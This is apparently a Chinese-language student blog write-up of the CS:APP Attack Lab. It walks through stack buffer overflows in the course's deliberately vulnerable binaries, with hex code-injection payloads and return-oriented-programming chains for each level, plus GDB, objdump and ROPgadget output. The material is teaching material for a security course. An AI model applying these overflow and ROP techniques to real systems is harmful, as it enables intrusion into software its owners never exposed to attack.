0%

CSapp-Attack Lab

Attack Lab

该任务涉及对两个具有不同安全漏洞的程序总共发起五次攻击,您将从本实验室获得的成果包括:

  • 您将了解攻击者在程序不存在漏洞时利用安全漏洞的不同方式充分保护自己,防止缓冲区溢出
  • 通过本课程,您将更好地了解如何编写更安全的程序,如以及编译器和操作系统提供的一些功能,以提高程序的安全性
  • 您将更深入地了解 x86-64 的堆栈和参数传递机制机器代码
  • 您将更深入地了解 x86-64 指令的编码方式
  • 您将获得更多使用 GDB 和 OBJDUMP 等调试工具的经验

实验说明

实验文件介绍:

  • ctarget:易受 代码注入 攻击的可执行程序
  • rtarget:易受 面向返回 编程攻击的可执行程序
  • cookie.txt:一个8位十六进制代码,在攻击中用作唯一标识符
  • farm.c:目标公司的“gadget farm”的源代码,用于生成ROP链
  • hex2raw:一个生成攻击字符串的工具,将16进制数转化为攻击字符,因为有些字符在屏幕上面无法输入,所以输入该字符的16进制数,自动转化为该字符

实验要求:

  • 你必须在与目标的机器相似的机器上完成任务
  • 您的解决方案可能不会使用攻击绕过程序中的验证代码,明确地任何包含在攻击字符串中供ret指令使用的地址都应该是以下目的地:
    • 函数 touch1,touch2 或 touch3 的地址
    • 注入代码的地址
    • gadget farm 中一个 gadget 的地址
  • 您只能从文件 rtarget 构建 gadget,其地址介于函数 start_farm 和 end_farm 的地址之间

缓冲区溢出

C语言对于数组引用不进行任何的边界检查,并且局部变量和状态信息都保存在栈中,对越界的数组元素进行写操作,会破坏存储在栈中的状态信息(覆盖 ret 原本应该执行的返回地址),当寄存器执行 ret 指令时就会出现严重的错误

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#include <stdio.h>
#include <stdlib.h>

void explosion(){
printf("!!!You touch the explosion");
exit(0);
}

/* Implementation of library function gets() */
char *custom_gets(char *s){
int c;
char *dest = s;
while((c = getchar()) != '\n' && c != EOF)
*dest++ = c;
if(c == EOF && dest == s)
/* No characters read */
return NULL;
*dest++ = '\0'; /* Terminate string */
return s;
}

/** Read input line and write it back */
void echo(){
char buf[8];
custom_gets(buf);
puts(buf);
}

int main(int argc, char* argv[]){
echo();
return 0;
}

使用如下命令可以从c源文件生成汇编代码:

1
linux> gcc -fno-asynchronous-unwind-tables -fno-stack-protector -O1 -S test.c
  • -fno-asynchronous-unwind-tables 选项是用来不生成CFI指令
  • -fno-stack-protector 选项阻止进行栈破坏检测,默认是允许使用栈保护
  • -O1 不做任何优化处理
  • -S 生成汇编代码即结束
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
echo:
endbr64
pushq %rbx
subq $16, %rsp // 该程序在栈上为字符数组分配了16个字节
leaq 8(%rsp), %rbx // 数组首地址被装入rbx中
movq %rbx, %rdi // 数组首地址被装入rdi中(第一个参数的位置)
call custom_gets
movq %rbx, %rdi // 数组首地址被装入rdi中(第一个参数的位置)
call puts@PLT
addq $16, %rsp // 回收栈空间
popq %rbx
ret
.size echo, .-echo
.globl main
.type main, @function

使用如下命令可以从c源文件生成二进制代码:

1
linux> gcc -fno-stack-protector -g test.c -o test
  • -g 方便GDB调试
1
2
3
4
5
6
pwndbg> stack
00:0000│ rsp 0x7fffffffdd50 —▸ 0x7ffff7fb3fc8 (__exit_funcs_lock) ◂— 0x0
01:0008│ rax rdx-5 0x7fffffffdd58 ◂— 0x550061616161 /* 'aaaa' */
02:0010│ rbp 0x7fffffffdd60 —▸ 0x7fffffffdd80 ◂— 0x0
03:00180x7fffffffdd68 —▸ 0x55555555527b (main+29) ◂— mov eax, 0
04:00200x7fffffffdd70 —▸ 0x7fffffffde78 —▸ 0x7fffffffe1de ◂— 0x77792f656d6f682f ('/home/yw')

发现返回地址很容易覆盖

代码注入攻击

touch1

1
2
3
4
5
6
7
8
9
ctarget: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=c7b4ed7d7d986fd5b8ec8742e9c6da371ba6a504, with debug_info, not stripped

[*] '/home/ywhkkx/attacklab-target1/ctarget'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
FORTIFY: Enabled
1
2
3
➜  [/home/ywhkkx/attacklab-target1] ./ctarget -q  
Cookie: 0x59b997fa
Type string:

跟踪字符串定位到第一个输入:

对输入函数进行反汇编:

1
2
3
4
5
6
7
8
.text:00000000004017A8 ; __unwind {
.text:00000000004017A8 sub rsp, 28h
.text:00000000004017AC mov rdi, rsp ; dest
.text:00000000004017AF call Gets
.text:00000000004017B4 mov eax, 1
.text:00000000004017B9 add rsp, 28h
.text:00000000004017BD retn
.text:00000000004017BD ; } // starts at 4017A8

通过“ sub rsp, 28h ”可以发现:它为数组“buf”提供了“0x28”字节的空间

反编译“touch1”以获取它的地址:( 0x00000000004017C0 )

1
2
3
4
5
6
7
8
9
10
11
12
13
14
.text:00000000004017C0 ; void __cdecl touch1()
.text:00000000004017C0 public touch1
.text:00000000004017C0 touch1 proc near
.text:00000000004017C0 ; __unwind {
.text:00000000004017C0 sub rsp, 8
.text:00000000004017C4 mov cs:vlevel, 1
.text:00000000004017CE mov edi, offset aTouch1YouCalle ; "Touch1!: You called touch1()"
.text:00000000004017D3 call _puts
.text:00000000004017D8 mov edi, 1 ; level
.text:00000000004017DD call validate
.text:00000000004017E2 mov edi, 0 ; status
.text:00000000004017E7 call _exit
.text:00000000004017E7 ; } // starts at 4017C0
.text:00000000004017E7 touch1 endp

写payload调用“touch1”:

1
2
3
4
5
6
00 00 00 00 00 00 00 00 // 先填充0x28字节的"\x00"
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c0 17 40 00 00 00 00 00 // 小端序的"0x00000000004017C0"
1
2
3
4
5
6
7
8
9
➜  [/home/ywhkkx/attacklab-target1] ./hex2raw -i solutions/level1.txt | ./ctarget -q 
Cookie: 0x59b997fa
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:1:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 C0 17 40 00 00 00 00 00

touch2

反汇编获取 touch2 的地址为:0x00000000004017EC

故技重施:

1
2
3
4
5
6
7
8
➜  [/home/ywhkkx/attacklab-target1] ./hex2raw -i solutions/level2.txt | ./ctarget -q 
Cookie: 0x59b997fa
Type string:Misfire: You called touch2(0xee55f980)
FAIL: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:FAIL:0xffffffff:ctarget:2:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 EC 17 40 00 00 00 00 00

发现不通过,只好先看看 touch2 代码了:

这段程序就是验证传进来的参数val是否和cookie中值相等(实验给出的cookie为:0x59b997fa)

这时候就好注入代码了:(接下来的调试请用原本GDB)

1
2
3
4
/** inject.s */
movq $0x59b997fa, %rdi
pushq 0x4017ec
ret
1
2
3
4
5
6
7
8
9
10
11
12
➜  [/home/ywhkkx/attacklab-target1/solutions] gcc -c inject.s
➜ [/home/ywhkkx/attacklab-target1/solutions] objdump -d inject.o

inject.o: 文件格式 elf64-x86-64


Disassembly of section .text:

0000000000000000 <.text>:
0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi
7: ff 34 25 ec 17 40 00 pushq 0x4017ec
e: c3 retq

思路很简单,执行这串代码,就可以把cookie赋值给第一个参数,利用程序原本的 ret 可以控制 IP 到 rsp ,代码会把 touch2 的地址压栈并用 ret 执行

接下来用GDB获取执行这串代码时,rsp 的地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
(gdb) break getbuf // 打断点
Breakpoint 1 at 0x4017a8: file buf.c, line 12.
(gdb) run -q // 不加"-q"可能会报错
Starting program: /home/ywhkkx/attacklab-target1/ctarget -q
Cookie: 0x59b997fa

Breakpoint 1, getbuf () at buf.c:12
12 buf.c: 没有那个文件或目录.
(gdb) disas // 反汇编
Dump of assembler code for function getbuf:
=> 0x00000000004017a8 <+0>: sub $0x28,%rsp
0x00000000004017ac <+4>: mov %rsp,%rdi
0x00000000004017af <+7>: callq 0x401a40 <Gets>
0x00000000004017b4 <+12>: mov $0x1,%eax
0x00000000004017b9 <+17>: add $0x28,%rsp
0x00000000004017bd <+21>: retq
End of assembler dump.
(gdb) info r rsp // 打印rsp
rsp 0x5561dca0 0x5561dca0

结合 rsp 的地址,手写注入代码:

1
2
3
4
5
6
48 c7 c7 fa 97 b9 59 68 
ec 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
1
2
3
4
5
6
7
8
9
➜  [/home/ywhkkx/attacklab-target1] ./hex2raw -i solutions/level2.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:2:48 C7 C7 FA 97 B9 59 68 EC 17 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00

touch3

出现了一个函数:

“sprintf”对 cookie 进行了操作,把它变为了16进制形式的字符串

1
2
cookie: 59b997fa
-> 35 39 62 39 39 37 66 61

思路就是:把字符串提前放入某个地址,把那个地址赋值给 rdi 就可以了

现在先考虑把字符串放在哪里

s的位置是随机的,所以之前留在getbuf中的数据,则有可能被hexmatch所重写,所以放在getbuf中并不安全。为了安全起见,我们把字符串放在getbuf的父栈帧中,也就是test栈帧中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
(gdb) b* 0x401968 // 在test处打断点
Breakpoint 1 at 0x401968: file visible.c, line 90.
(gdb) run -q
Starting program: /home/ywhkkx/attacklab-target1/ctarget -q
Cookie: 0x59b997fa

Breakpoint 1, test () at visible.c:90
90 visible.c: 没有那个文件或目录.
(gdb) disas
Dump of assembler code for function test:
=> 0x0000000000401968 <+0>: sub $0x8,%rsp
0x000000000040196c <+4>: mov $0x0,%eax
0x0000000000401971 <+9>: callq 0x4017a8 <getbuf>
0x0000000000401976 <+14>: mov %eax,%edx
0x0000000000401978 <+16>: mov $0x403188,%esi
0x000000000040197d <+21>: mov $0x1,%edi
0x0000000000401982 <+26>: mov $0x0,%eax
0x0000000000401987 <+31>: callq 0x400df0 <__printf_chk@plt>
0x000000000040198c <+36>: add $0x8,%rsp
0x0000000000401990 <+40>: retq
End of assembler dump.
(gdb) info r rsp
rsp 0x5561dcb0 0x5561dcb0

写入字符串的目标地址:0x5561dcb0 - 0x8

1
2
3
4
/** inject.s */  
movq $0x5561dca8, %rdi
pushq 0x4018fa
ret
1
2
3
4
5
6
7
8
9
10
11
12
➜  [/home/ywhkkx/attacklab-target1/solutions] gcc -c inject.s    
➜ [/home/ywhkkx/attacklab-target1/solutions] objdump -d inject.o

inject.o: 文件格式 elf64-x86-64


Disassembly of section .text:

0000000000000000 <.text>:
0: 48 c7 c7 a8 dc 61 55 mov $0x5561dca8,%rdi
7: ff 34 25 fa 18 40 00 pushq 0x4018fa
e: c3 retq

手写注入代码:

1
2
3
4
5
6
7
48 c7 c7 a8 dc 61 55 68 // 注入代码
fa 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
35 39 62 39 39 37 66 61 // cookie
1
2
3
4
5
6
7
8
9
➜  [/home/ywhkkx/attacklab-target1] ./hex2raw -i solutions/level3.txt | ./ctarget -q 
Cookie: 0x59b997fa
Type string:Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:3:48 C7 C7 A8 DC 61 55 68 FA 18 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00 35 39 62 39 39 37 66 61

ROP攻击

缓冲区溢出攻击的普遍发生给计算机系统造成了许多麻烦,现代的编译器和操作系统实现了许多机制,以避免遭受这样的攻击,限制入侵者通过缓冲区溢出攻击获得系统控制的方式

  • 栈随机化(PIE)
  • 栈破坏检测(canary)
  • 限制可执行代码区域(NX)
1
2
3
4
void setval_210(unsigned *p)
{
*p = 3347663060U;
}
1
2
3
0000000000400f15 <setval_210>:
400f15: c7 07 d4 48 89 c7 movl $0xc78948d4,(%rdi)
400f1b: c3 retq

可以使用 ret 把 IP 控制在 “0x400f18”(0x48,movq)处,控制完 rdi 后就 ret 下一个地址

这样穿起来的ROP操作就被称为ROP链

touch2 ROP

为了控制 touch2 ,我们需要把 cookie 放入 rdi 寄存器

在“farm.c”中存放有我们需要的 gadget ,这里采用 ROPgadget 工具来获取 gadget

目标:“mov xxx rdi”,“pop xxx rdi”(以下这种汇编方式和之前使用的不同)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
➜  [/home/ywhkkx/attacklab-target1] ROPgadget --binary ./rtarget --only "mov|ret"
Gadgets information
============================================================
0x0000000000401b23 : mov byte ptr [rax + 0x605500], 0 ; ret
0x0000000000400f63 : mov byte ptr [rip + 0x20454e], 1 ; ret
0x000000000040214e : mov dword ptr [rdi + 8], eax ; ret
0x00000000004019e1 : mov dword ptr [rdi], 0x9090d199 ; ret
0x00000000004019c3 : mov dword ptr [rdi], 0x90c78948 ; ret
0x0000000000401aab : mov dword ptr [rdi], 0x90e08948 ; ret
0x0000000000401a5a : mov dword ptr [rdi], 0x91e08948 ; ret
0x00000000004019b5 : mov dword ptr [rdi], 0x9258c254 ; ret
0x00000000004019fc : mov dword ptr [rdi], 0xc084d181 ; ret
0x0000000000401a97 : mov dword ptr [rdi], 0xc2e08948 ; ret
0x0000000000401a6e : mov dword ptr [rdi], 0xc391d189 ; ret
0x00000000004019bc : mov dword ptr [rdi], 0xc78d4863 ; ret
0x00000000004019ae : mov dword ptr [rdi], 0xc7c78948 ; ret
0x0000000000401a0a : mov dword ptr [rdi], 0xc908c288 ; ret
0x0000000000401a7c : mov dword ptr [rdi], 0xc908ce09 ; ret
0x0000000000401a75 : mov dword ptr [rdi], 0xd238c281 ; ret
0x0000000000401a2c : mov dword ptr [rdi], 0xdb08ce81 ; ret
0x0000000000401b10 : mov dword ptr [rip + 0x2045ee], eax ; ret
0x0000000000402dd7 : mov eax, 0 ; ret
0x000000000040199a : mov eax, 0x909078fb ; ret
0x00000000004019db : mov eax, 0x90c2895c ; ret
0x0000000000401a91 : mov eax, 0xc020ce88 ; ret
0x00000000004019f6 : mov eax, 0xc048d189 ; ret
0x0000000000401a18 : mov eax, 0xc1e08948 ; ret
0x00000000004019ca : mov eax, 0xc3905829 ; ret
0x0000000000401a33 : mov eax, 0xc938d189 ; ret
0x0000000000401a54 : mov eax, 0xc9c4c289 ; ret
0x0000000000401a4e : mov eax, 0xd208d199 ; ret
0x0000000000401aa5 : mov eax, 0xd220ce8d ; ret
0x0000000000401a68 : mov eax, 0xdb08d189 ; ret
0x0000000000401994 : mov eax, 1 ; ret
0x0000000000401a07 : mov eax, esp ; ret
0x0000000000401a9a : mov eax, esp ; ret 0x8dc3
0x00000000004019b2 : mov edi, 0x5407c7c3 ; ret 0x9258
0x00000000004019a3 : mov edi, eax ; ret // target
0x000000000040214d : mov qword ptr [rdi + 8], rax ; ret
0x0000000000401a06 : mov rax, rsp ; ret
0x0000000000401a99 : mov rax, rsp ; ret 0x8dc3
0x00000000004019a2 : mov rdi, rax ; ret
0x0000000000400c55 : ret
0x0000000000403fbc : ret 0
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
➜  [/home/ywhkkx/attacklab-target1] ROPgadget --binary ./rtarget --only "pop|ret"
Gadgets information
============================================================
0x0000000000402b12 : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040137e : pop r12 ; pop r13 ; pop r14 ; ret
0x00000000004021d7 : pop r12 ; pop r13 ; ret
0x00000000004018f7 : pop r12 ; ret
0x0000000000402b14 : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000401380 : pop r13 ; pop r14 ; ret
0x00000000004021d9 : pop r13 ; ret
0x0000000000402b16 : pop r14 ; pop r15 ; ret
0x0000000000401382 : pop r14 ; ret
0x0000000000402b18 : pop r15 ; ret
0x0000000000402b11 : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040137d : pop rbp ; pop r12 ; pop r13 ; pop r14 ; ret
0x00000000004021d6 : pop rbp ; pop r12 ; pop r13 ; ret
0x00000000004018f6 : pop rbp ; pop r12 ; ret
0x0000000000402b15 : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000401381 : pop rbp ; pop r14 ; ret
0x0000000000400ef5 : pop rbp ; ret
0x000000000040137c : pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; ret
0x00000000004021d5 : pop rbx ; pop rbp ; pop r12 ; pop r13 ; ret
0x00000000004018f5 : pop rbx ; pop rbp ; pop r12 ; ret
0x00000000004011aa : pop rbx ; pop rbp ; ret
0x0000000000401dab : pop rbx ; ret
0x000000000040141b : pop rdi ; ret // target
0x0000000000402b17 : pop rsi ; pop r15 ; ret
0x0000000000401383 : pop rsi ; ret

发现直接有 “ pop rdi ”,就使用它了(地址0x000000000040141b)

1
2
3
4
5
6
7
8
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
1b 14 40 00 00 00 00 00 // pop rdi
fa 97 b9 59 00 00 00 00 // cookie
ec 17 40 00 00 00 00 00
1
2
3
4
5
6
7
8
9
10
11
➜  [/home/ywhkkx/attacklab-target1] ./hex2raw -i solutions/level2ROP.txt | ./rtarget -q 
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target rtarget
Ouch!: You caused a segmentation fault!
Better luck next time
FAIL: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:FAIL:0xffffffff:rtarget:0:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1B 14 40 00 00 00 00 00 FA 97 B9 59 00 00 00 00 EC 17 40 00 00 00 00 00

touch3 ROP

和 touch3 相同,因为 cookie 是字符串,所以不能直接传参 rdi ,只能通过写入固定地址的方式间接传参

大体思路:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
0x401a06:
mov %rsp, %rax // 控制栈顶进入rax
retq
0x4019a2:
mov %rax, %rdi // 把rax装入rdi
retq
0x4019cc:
pop %rax // pop到rax
retq
0x4019dd:
mov %eax, %edx // 移动eax到edx
retq
0x401a70:
mov %edx, %ecx // 移动edx到ecx
retq
0x401a13:
mov %ecx, %esi // 移动ecx到esi
retq
0x4019d6:
lea (%rdi,%rsi,1),%rax // rdi和rsi相加进入rax
retq
0x4019a2:
mov %rax, %rdi // 把rax装入rdi
retq
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
06 1a 40 00 00 00 00 00 // mov %rsp, %rax
a2 19 40 00 00 00 00 00 // mov %rax, %rdi
cc 19 40 00 00 00 00 00 // pop %rax
48 00 00 00 00 00 00 00 // 偏移
dd 19 40 00 00 00 00 00 // mov %eax, %edx
70 1a 40 00 00 00 00 00 // mov %edx, %ecx
13 1a 40 00 00 00 00 00 // mov %ecx, %esi
d6 19 40 00 00 00 00 00 // lea (%rdi,%rsi,1),%rax
a2 19 40 00 00 00 00 00 // mov %rax, %rdi
fa 18 40 00 00 00 00 00 // addr of touch3
35 39 62 39 39 37 66 61 // cookie

作为一名pwn手,感觉这些都很基础

以前一直依赖 pwntools 进行攻击,现在感受了一把手工入侵,算是长见识了吧